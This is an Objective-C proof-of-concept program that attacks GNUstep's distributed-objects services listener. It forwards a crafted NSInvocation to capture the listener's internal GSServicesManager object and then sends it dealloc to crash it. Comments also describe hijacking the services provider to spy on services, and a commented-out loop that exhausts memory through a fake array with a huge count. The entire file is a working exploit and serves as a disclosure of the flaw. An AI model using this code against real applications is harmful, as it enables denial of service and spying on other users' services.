#include <Foundation/NSAutoreleasePool.h>
#include <Foundation/NSConnection.h>
#include <Foundation/NSInvocation.h>


@interface DummyInvocation : NSObject
{
@public
	NSObject *target;
}
@end

@implementation DummyInvocation

-(SEL) selector
{
	printf("-selector called\n");
	return @selector(application:openFile:);
}

-(void) invokeWithTarget: (NSObject *)aTarget
{
	ASSIGN(target,aTarget);
	printf("-invokeWithTarget: %@\n",target);
}

@end

@interface DummyArray : NSObject
@end

@implementation DummyArray

-(unsigned int) count
{
	return (unsigned int)-1;
}

-(NSObject *) objectAtIndex: (unsigned int)i
{
	return @"foo";
}

@end

int main(int argc, char **argv)
{
	CREATE_AUTORELEASE_POOL(arp);
	NSString *portName, *host;
	NSObject *listener;
	DummyInvocation *di;
	NSInvocation *i;

	if (argc<2 || argc>3)
	{
		fprintf(stderr,"%s port [host]\n",argv[0]);
		return 1;
	}

	portName=[[NSString alloc] initWithCString: argv[1]];
	if (argc==3)
		host=[[NSString alloc] initWithCString: argv[2]];
	else
		host=nil;

	listener=[NSConnection rootProxyForConnectionWithRegisteredName: portName
		host: host];

	/* Now we have the listener, do evil things here to get around the
	"protection"... */

	/* Trivial: [listener error: "foo"]; */

	/* Less trivial (was bored): */
	di=[[DummyInvocation alloc] init];
	i=[NSInvocation invocationWithMethodSignature: [NSObject instanceMethodSignatureForSelector: @selector(forwardInvocation:)]];
	[i setSelector: @selector(forwardInvocation:)];
	[i setArgument: &di  atIndex: 2];
	printf("do forward %@ to %@\n",i,listener);
	[listener forwardInvocation: i];
	printf("done, got target=%@\n",di->target);

	/* We have the GSServicesManager instance. We can... */

	/* ... spy on services: [di->target setServicesProvider: ourObject]; */

	/* ... exhaust memory (was supposed to be "hang it"; oh well): */
/*	{
		DummyArray *a=[[DummyArray alloc] init];
		while (1)
		{
			printf("iter\n");
			[di->target registerSendTypes: a returnTypes: a];
		}
	}*/

	/* ... kill it: */
	i=[NSInvocation invocationWithMethodSignature: [NSObject instanceMethodSignatureForSelector: @selector(dealloc)]];
	[i setSelector: @selector(dealloc)];
	[di->target forwardInvocation: i];

	DESTROY(arp);

	return 0;
}

